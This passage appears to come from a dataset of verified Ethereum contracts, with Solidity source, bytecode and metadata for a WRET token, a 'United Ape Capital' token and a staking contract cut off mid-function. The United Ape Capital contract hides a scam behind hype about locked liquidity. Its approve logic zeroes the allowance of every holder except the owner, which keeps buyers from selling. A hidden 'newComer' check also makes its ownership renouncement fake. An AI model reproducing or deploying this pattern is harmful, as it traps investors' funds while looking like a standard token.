_from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract WolframExchangeTimes is StandardToken, Ownable { // Constants string public constant name = "Wolfram Exchange Times"; string public constant symbol = "WRET"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals)); mapping(address => bool) touched; function WolframExchangeTimes() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf5780632ff2e9dc146101f7578063313ce5671461020a5780635f56b6fe14610233578063661884631461024b57806370a082311461026d578063715018a61461028c5780638da5cb5b1461029f57806395d89b41146102ce578063a9059cbb146102e1578063d73dd62314610303578063dd62ed3e14610325578063f2fde38b1461034a575b600080fd5b34156100f557600080fd5b6100fd610369565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a03600435166024356103a0565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd61040c565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a0360043581169060243516604435610412565b341561020257600080fd5b6101bd610592565b341561021557600080fd5b61021d61059d565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6102496004356105a2565b005b341561025657600080fd5b610196600160a060020a0360043516602435610638565b341561027857600080fd5b6101bd600160a060020a0360043516610732565b341561029757600080fd5b61024961074d565b34156102aa57600080fd5b6102b26107bf565b604051600160a060020a03909116815260200160405180910390f35b34156102d957600080fd5b6100fd6107ce565b34156102ec57600080fd5b610196600160a060020a0360043516602435610805565b341561030e57600080fd5b610196600160a060020a0360043516602435610917565b341561033057600080fd5b6101bd600160a060020a03600435811690602435166109bb565b341561035557600080fd5b610249600160a060020a03600435166109e6565b60408051908101604052601681527f576f6c6672616d2045786368616e67652054696d657300000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561042957600080fd5b600160a060020a03841660009081526020819052604090205482111561044e57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561048157600080fd5b600160a060020a0384166000908152602081905260409020546104aa908363ffffffff610a8116565b600160a060020a0380861660009081526020819052604080822093909355908516815220546104df908363ffffffff610a9316565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610525908363ffffffff610a8116565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b66b1a2bc2ec5000081565b600881565b60035433600160a060020a039081169116146105bd57600080fd5b80151561060257600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156105fd57600080fd5b610635565b600354600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561063557600080fd5b50565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561069557600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106cc565b6106a5818463ffffffff610a8116565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461076857600080fd5b600354600160a060020a03167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031681565b60408051908101604052600481527f5752455400000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561081c57600080fd5b600160a060020a03331660009081526020819052604090205482111561084157600080fd5b600160a060020a03331660009081526020819052604090205461086a908363ffffffff610a8116565b600160a060020a03338116600090815260208190526040808220939093559085168152205461089f908363ffffffff610a9316565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461094f908363ffffffff610a9316565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a0157600080fd5b600160a060020a0381161515610a1657600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a8d57fe5b50900390565b81810182811015610aa057fe5b929150505600a165627a7a72305820c1c8f293496a36a4cef52f6ed8136c63de941f44c676b24285728a0900ec78160029
{"success": true, "error": null, "results": {}}
8,305
0xcac8249888d717ebe8de501be50d67c365d3df97
/** $UAC |United Ape Capital Creating the ultimate Ape experience. United we stand, divided we fall. We hold the power, together as a unit to create one of the best ape experiences in the stratosphere. What's better than one ape? Two apes. What's better than two apes? THOUSANDS! Tokenomics: 1% Max Tx on Launch 7% Marketing💼 8% Buybacks/Development🟢 Initial liquidity : 7 ETH💰 Liquidity will be locked 🔒 Check out our website: https://www.unitedapecapital.com/ Twitter: https://twitter.com/UApeCapital */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract UnitedApeCapital is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'United Ape Capital ' ; string private _symbol = 'UAC'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cb5efb164fd18dbd1d520d501108856b25178d9bc0009c38e3908f5083bd8ef064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,306
0x60c4a2b49c1c743f9e7d3df7d02cf64bd7cc0428
/** *Submitted for verification at Etherscan.io on 2021-04-22 */ /** *Submitted for verification at BscScan.com on 2021-04-14 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.5; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; function calculateFeesBeforeSend( address sender, address recipient, uint256 amount ) external view returns (uint256, uint256); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } interface regreward { function distributeAll() external; } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract WhitelistAdminRole is Owned { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; constructor () { _addWhitelistAdmin(msg.sender); } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(msg.sender), "WhitelistAdminRole: caller does not have the WhitelistAdmin role"); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(msg.sender); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } } contract FEGstakeTRYe is Owned, ReentrancyGuard, WhitelistAdminRole { using SafeMath for uint256; address public TRY = 0xc12eCeE46ed65D970EE5C899FCC7AE133AfF9b03; address public fETH = 0xf786c34106762Ab4Eeb45a51B42a62470E9D5332; address public regrewardContract; uint256 public totalStakes = 0; bool public perform = true; //if true then distribution of rewards from the pool to stakers via the withdraw function is enabled uint256 public txFee = 20; // TRY has 2% TX fee, deduct this fee from total stake to not break math uint256 public txFee1 = 11; // fETH has 1% TX fee, 0.1% was also added this fee from total stake to not break math uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming uint public lock = 0; // no locktime struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } address[] internal stakeholders; mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens); event EARNED(address staker, uint256 tokens); event UNSTAKED(address staker, uint256 tokens); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); function isStakeholder(address _address) public view returns(bool) { for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true); } return (false); } function addStakeholder(address _stakeholder) public { (bool _isStakeholder) = isStakeholder(_stakeholder); if(!_isStakeholder) { stakeholders.push(_stakeholder); farmTime[msg.sender] = block.timestamp; } } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external nonReentrant { require(IERC20(TRY).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user for locking"); uint256 transferTxFee = (onePercent(tokens).mul(txFee)).div(10); uint256 tokensToStake = (tokens.sub(transferTxFee)); // add pending rewards to remainder to be claimed by user later, if there is any existing 